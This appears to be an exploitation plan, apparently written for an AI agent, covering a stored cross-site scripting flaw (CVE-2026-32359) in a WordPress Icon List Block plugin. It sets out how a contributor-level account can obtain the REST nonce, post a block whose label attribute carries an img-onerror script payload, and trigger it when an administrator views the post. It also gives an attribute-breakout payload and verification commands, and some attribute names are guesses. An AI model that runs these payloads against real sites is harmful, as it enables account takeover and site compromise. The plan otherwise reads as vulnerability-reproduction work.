Exploitation Research Plan: CVE-2026-32359 (Icon List Block)

1. Vulnerability Summary

The Icon List Block plugin (<= 1.2.3) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin allows users with Contributor-level permissions or higher to create Gutenberg blocks where specific attributes are stored without sufficient sanitization.

When the block is rendered on the frontend, the build/render.php file outputs the block's attributes into a data-attributes attribute of a wrapper div. A corresponding frontend JavaScript file (implied by build/view.asset.php) then parses this JSON data and renders it into the DOM. The failure occurs in this frontend rendering phase, where the data is likely inserted using an unsafe method (like jQuery's .html() or native .innerHTML) without escaping.

2. Attack Vector Analysis

• Endpoint: WordPress REST API for Posts (/wp-json/wp/v2/posts) or the standard Post Editor.
• Vulnerable Block: icon-list-block/icon-list (inferred from plugin slug and render.php).
• Vulnerable Parameter: Block attributes, specifically item text/labels within the list.
• Authentication Level: Contributor or higher. Contributors can create posts and insert any registered block.
• Preconditions: The plugin must be active, and a post containing the malicious block must be viewed by a user (e.g., an Admin reviewing a "Pending" post).

3. Code Flow

1. Entry Point (Editor): A Contributor creates or edits a post. They add an "Icon List Block".
2. Storage: The Gutenberg editor sends the block's attributes as JSON within the post_content (wrapped in HTML comments).
3. Frontend Rendering (PHP): When a user views the post, WordPress executes build/render.php:
   • get_block_wrapper_attributes() generates classes/IDs.
   • wp_json_encode($attributes) serializes the user-controlled attributes.
   • esc_attr() escapes the JSON string for use in the HTML attribute.
   • Result: <div ... data-attributes='{"items":[{"text":"<img src=x onerror=alert(1)>"}]}'></div>
4. Frontend Execution (JS): The script defined in build/view.js (referenced by build/view.asset.php) executes:
   • It selects the div by ID (e.g., ilbIconList-...).
   • It reads the data-attributes value.
   • It parses the JSON.
   • Sink: It iterates through the items and inserts the text or label value into the DOM using an unsafe sink (e.g., element.innerHTML = item.text), triggering the XSS.

4. Nonce Acquisition Strategy

While saving a post via the REST API requires a _wpnonce, the agent can simplify the exploit by using the browser to manipulate the block editor directly or by extracting the REST nonce from a loaded admin page.

1. Identify Nonce: Navigate to /wp-admin/post-new.php.
2. Extract: Use browser_eval to get the REST nonce:

   window.wpApiSettings.nonce
   

3. Identify Block Name: Use browser_eval to confirm the block name:

   wp.blocks.getBlockTypes().map(b => b.name).filter(n => n.includes('icon-list'))
   

   Result likely: icon-list-block/icon-list or ilb/icon-list.

5. Exploitation Strategy

The goal is to create a post containing the malicious block attributes.

Step 1: Create the Malicious Post

The agent will send a REST API request to create a post.

• Method: POST
• URL: /wp-json/wp/v2/posts
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: [EXTRACTED_NONCE]
• Body:

{
  "title": "XSS Proof of Concept",
  "status": "pending",
  "content": "<!-- wp:icon-list-block/icon-list {\"items\":[{\"label\":\"<img src=x onerror=alert(window.origin)>\",\"icon\":\"fa-check\"}]} /-->"
}

(Note: The attribute name label is inferred from typical Icon List structures. If label fails, text or content will be tried.)

Step 2: Trigger the XSS

The agent will navigate to the newly created post's frontend URL.

6. Test Data Setup

1. User: Create a user with the contributor role.
2. Login: Log in as the contributor.
3. Verification Page: No special shortcode is needed as the block itself provides the rendering logic via render.php.

7. Expected Results

• The HTTP response from the REST API should be 201 Created.
• When navigating to the post URL, the browser should execute alert(window.origin).
• The HTML source will show the payload inside the data-attributes attribute, and the JavaScript will have rendered it as a live DOM element.

8. Verification Steps

1. Check DB: Use WP-CLI to verify the payload is stored:

   wp post list --post_type=post --format=csv | grep "XSS Proof of Concept"
   wp post get [POST_ID] --field=content
   

2. Verify Execution: Use browser_eval to check if a specific global variable or side effect was created by the XSS payload (if alert is not capturable).

9. Alternative Approaches

• Attribute Breakout: If the JS doesn't use innerHTML but instead sets other attributes, try breaking out of those: icon="fas fa-search' onmouseover='alert(1)".
• Editor-Side XSS: Check if the XSS triggers inside the Gutenberg editor itself by navigating the contributor to the post edit screen after saving. This would be "Authenticated Stored XSS in Admin".
• Shortcode Discovery: If the block name is different, use:

  grep -r "registerBlockType" wp-content/plugins/icon-list-block/
  

  to find the exact string.